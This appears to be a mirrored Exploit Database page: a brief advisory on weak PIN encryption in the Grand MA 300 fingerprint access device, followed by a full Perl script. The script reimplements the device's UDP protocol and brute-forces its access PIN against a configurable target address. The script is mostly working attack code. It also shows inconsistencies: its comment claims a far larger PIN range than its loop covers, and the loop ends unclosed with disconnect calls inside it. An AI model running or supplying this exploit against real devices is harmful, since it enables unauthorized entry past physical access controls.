Granding MA300 – Weak Pin Encryption Brute Force

Exploit Database
108 阅读

作者： Eric Sesterhenn

日期： 2014-08-26
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/39293/

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source: https://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable.

#!/usr/bin/perl

# This brute-forces the pin of a Grand MA 300 Fingerprint

# Access device in less than 5 minutes, if the pin

# is between 1 and 4294967296.

# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>

# http://www.lsexperts.de

use IO::Socket::INET;

use strict;

use warnings;

sub hexd {

my ($data) = @_;

my $ret = "";

for (my $i=0; $i<length($data); $i++) {

$ret .= sprintf "%X", ord(substr($data, $i, 1));

}

return $ret;

}

sub getword {

my ($data, $offset) = @_;

my $ret = 0;

$ret = ord(substr($data, $offset, 1));

$ret += 0x100 * ord(substr($data, $offset+1, 1));

return $ret;

}

sub makeword {

my ($value) = @_;

my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));

return $ret;

}

sub calccrc {

my ($packet) = @_;

# we pad with zero for packets of uneven length

my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);

my $crc = 0;

# the crc is the sum of all words in the packet

for (my $i = 0; $i<length($packet) - 2; $i += 2) {

$crc += getword($newpacket, $i);

}

# if the result is to big, we add the high bits to the lower bits

while ($crc > 0xFFFF) {

$crc = ($crc & 0xFFFF) + ($crc >> 0x10);

}

# negate the checksum

$crc = ~$crc & 0xFFFF;

return $crc;

}

sub makepacket {

my ($type, $cid, $seqno, $data) = @_;

my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);

return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;

}

sub calcpass {

my ($pin, $cid) = @_;

my $ret = 0;

# revert the bits

for (my $i = 0; $i < 32; $i++) {

$ret *= 2;

if ($pin & 1) {

$ret = $ret + 1;

}

$pin = $pin / 2;

}

$ret += $cid;

# xor with magic value

$ret ^= 0x4F534B5A;

# switch the words

$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor all, but third byte with last byte of gettickcount

my $gc = 0x00;

$ret ^= $gc + ($gc << 8) + ($gc << 24);

# set third byte to last byte of gettickcount

# this weakens the algorithm even further, since this byte

# is no longer relevant to the algorithm

$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);

return $ret;

}

# flush after every write

local $| = 1;

my ($socket,$client_socket);

# creating object interface of IO::Socket::INET modules which internally creates

# socket, binds and connects to the TCP server running on the specific port.

my $data;

$socket = new IO::Socket::INET (

PeerHost => '192.168.1.201',# CHANGEME

PeerPort => '4370',

Proto => 'udp',

) or die "ERROR in Socket Creation : $!\n";

# initialize the connection

$socket->send(makepacket(1000, 0, 0, ""));

$socket->recv($data, 1024);

my $typ = getword($data, 0);

my $cid = getword($data, 4);

if ($typ != 2005) {

printf("Client does not need a password");

exit(-1);

}

for (my $i = 0; $i < 65536; $i++) {

if (($i % 10) == 0) { printf "$i\n"; }

my $pass = calcpass($i, $cid);

$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));

$socket->recv($data, 1024);

$typ = getword($data, 0);

if ($typ == 2000) {

printf("Found pin: %d\n", $i);

exit(0);

}

# disconnect

$socket->send(makepacket(1001, $cid, 2, ""));

$socket->close();